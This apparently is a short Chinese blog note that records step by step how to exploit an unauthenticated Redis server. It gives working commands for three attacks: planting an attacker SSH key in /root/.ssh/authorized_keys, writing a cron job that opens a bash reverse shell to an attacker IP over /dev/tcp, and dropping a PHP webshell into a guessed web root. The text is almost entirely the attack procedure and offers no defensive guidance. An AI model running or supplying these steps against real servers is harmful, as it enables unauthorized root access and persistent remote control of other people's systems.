记录下利用过程
场景一:写入攻击机公钥
目标机:192.168.75.132
攻击机执行:192.168.75.137
ssh-keygen -t rsa //生成公钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt //将公钥放到hac.txt文件
cat hack.txt | redis-cli -h 192.168.75.132 -x set test //将密钥放到目标机上
192.168.75.132:6379> CONFIG GET dir //获取redis的备份目录
- "dir"
- "/root"
192.168.75.132:6379> CONFIG SET dir /root/.ssh //重新设置redis的备份目录
OK
192.168.75.132:6379> CONFIG SET dbfilename authorized_keys //备份数据库到文件
OK
192.168.75.132:6379> save //保存
OK
然后攻击机连接目标机:root@192.168.75.132
场景二:反弹命令行shell
telnet 192.168.236.130 6379 //未授权登录
config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.236.129/9999 0>&1\n\n\n" //直接往当前用户的crontab里写入反弹shell,换行是必不可少的。
场景三:写入shell
前提是猜测到网站路径
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save
网友评论